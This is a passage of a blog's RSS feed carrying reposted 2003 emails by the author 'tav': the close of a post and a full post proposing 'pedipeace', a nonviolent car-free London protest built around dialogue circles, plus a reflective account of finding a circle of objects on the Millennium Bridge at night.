| instead focussing on education and empowerment.
|
| i think we have a good balance here.
|
| help me. i am just one person. i can't do this alone. but together,
| anything is possible.
|
| --
| peace is now, tav
| tav&#64;espians.com
</pre><img src="http://feeds.feedburner.com/~r/asktav/~4/v81PMUafkAg" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/pedipeace-part-2.html</feedburner:origLink></item><item>
    <title>Pedipeace (Part 1)</title>
    <guid isPermaLink="false">http://tav.espians.com/pedipeace-part-1.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/iacW5haUA-U/pedipeace-part-1.html</link>
    <pubDate>Thu, 14 Aug 2008 00:01:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><em>[This is a reposting of an email that I had sent to some close friends on March
24th 2003 &#64; 23:56.]</em></p>
<pre class="literal-block">
| rehi,
|
| i have often expressed my discontent of protest marches, petitions, and
| the likes of direct action such as hunger strikes, sit-ins, blockades,
| chaining oneself to..., etc.
|
| i agree with all of them in theory, and in practise they all work great
| as acts of solidarity. they bring people together. let people know that
| they are not alone in their feelings.
|
| however, unfortunately for us, their value has been diminished over the
| years. the hippies did too good a job. values and beliefs and actions so
| adapted by mainstream culture, that they have no effect.
|
| so let's not merely walk from A to B. let's not block traffic and
| achieve nothing besides annoying people and getting yourself nicked.
| let's not chant mindlessly at the police -- these guys are just doing
| their job, they've heard the fucking chants all day long.
|
| it's time to take things a step further. time to do something
| constructive. and so, i would like to propose the &quot;pedipeace movement&quot;
| -- pedestrianise for peace.
|
| let's choose one day, and on that day, not have cars travel through
| london, and form circles at every other crossroads, and have a dialogue
| about various issues.
|
| it doesn't even have to all be a dialogue of words. at some crossroads,
| we could have wonderful music and dance. at some crossroads, we could
| have beautiful men and women giving out free food.
|
| we could discuss nuclear disarmament at oxford circus, palestine at
| cambridge circus. the idea is to have a circle at many crossroads and
| people to come forward to the middle and express themselves. to have a
| dialogue.
|
| we should practise the law of two feet, which states simply that if you
| find yourself in a situation where you are neither learning nor
| contributing – use your two feet and move to some place more to you
| liking. maybe to another crossroad, or maybe to a park somewhere. no
| matter what, don’t sit there feeling miserable.
|
| we could create some infrastructure to make this happen better. e.g.
| let's say that people are discussing nuclear disarmament at oxford
| circus. i go there and text a number (let's say 2661) &quot;nuclear disarmament&quot;.
|
| and then, when someone sends a second number (let's say 2662), asking
| where people are discussing &quot;nuclear disarmament&quot;, it would send back
| directions to the one at oxford circus. you could add the numbers of
| your friends to the system so that people could filter the results more
| effectively...
|
| so, in summary... we would have true dialogue. not some pompous git
| standing up on stage lecturing us all, but instead dialogue between the
| people. democracy. we would have achieved something constructuve. every
| nite, people could go back and write up summaries of what happened...
|
| we would have people talking to each other. we would have people
| learning more about the land around them. their geography. we could have
| wonderful street parties in the night, celebrating life.
|
| we would be expressing our discontent by blocking off central london.
| and, yet at the same time, we would be practising what we preach by
| using cars less. we are all oil junkies. it's time to ease up on our
| addiction.
|
| many people are angry. many people feel betrayed. but, let's direct that
| energy into achieving something constructive. into creating the world
| that we want. let's not just chant mindlessly. let's come up with solutions.
|
| i would appreciate everyone's thoughts and comments on this. criticism,
| both positive and negative, is very welcome. i would like to give this a
| serious push once we've got a solid plan in place.
|
| --
| peace is now, tav
| tav&#64;espians.com
</pre><img src="http://feeds.feedburner.com/~r/asktav/~4/iacW5haUA-U" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/pedipeace-part-1.html</feedburner:origLink></item><item>
    <title>A Present Is Found &amp; A Friend Is Made</title>
    <guid isPermaLink="false">http://tav.espians.com/a-present-is-found-and-a-friend-is-made.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/tMsaP4GbGWI/a-present-is-found-and-a-friend-is-made.html</link>
    <pubDate>Wed, 13 Aug 2008 00:01:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><em>[This is a reposting of an email that I had sent to some close friends on March
20th 2003 &#64; 05:53.]</em></p>
<pre class="literal-block">
| time. 2am. place. the wobbly (millennium) bridge.
|
| after entertaining myself running around the trees, i pull
| myself up onto the wobbly bridge and gently skip along. my
| heart beats slightly faster as i see the river flow underneath
| me. the thrill of being so high. the thrill of falling.
|
| clumsily pull myself over the side, straddle a beam and sit,
| watching the river flow. i lean back, feel the aura of the
| full moon. the wind blows. so soft. but with a sharpness that
| makes me alert. aware. lyrics come to mind &quot;london calling to
| the underworld... i live by the river!&quot;
|
| i get up to climb back over. i almost slip. heart beats. back
| on the wobbly. start to skip along again. in front of me, a
| giant circle. a perfect circle. a circle of objects. i look
| around -- no-one to be seen. a present from an anonymous
| stranger.
|
| i delight in the find and start exploring. a mobile phone. a
| paintbrush. a block of wood. a pressure valve. a blue tin
| (labelled russian caviar). i look inside. some round stones.
| another block of wood. too many objects to be mentioned here.
| the wind takes on a cold edge, but the present makes me very
| warm.
|
| and in the middle of this perfect circle, at the exact middle
| of the bridge (both lengthways and sideways), a grey and
| white toy bunny with a fat blue alkaline battery. i ponder
| upon the present for a long time. is there a clever message?
|
| for some reason, the words &quot;beautiful girl lovely dress&quot;
| sample across my mind's ear. a cyclist zooms by. i call back
| at him. he stops. he turns. he approaches cautiously. i ask
| him what he thinks. maybe a clock he says. doesn't have
| anything interesting to say. i let him go.
|
| i explore the present further. time goes by. i feel inspired.
| thoughts provoked. another walks by. i wave. we speak. i can
| sense the samani in this creature. we will be good friends.
|
| i bid the present goodbye, and decide to spend the remaining
| hours of the morning exploring the mind of this new found
| friend. and fun hours they were.
</pre><img src="http://feeds.feedburner.com/~r/asktav/~4/tMsaP4GbGWI" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/a-present-is-found-and-a-friend-is-made.html</feedburner:origLink></item>
  
<copyright>Public Domain</copyright><media:credit role="author">tav</media:credit><media:rating>nonadult</media:rating></channel>
</rss>
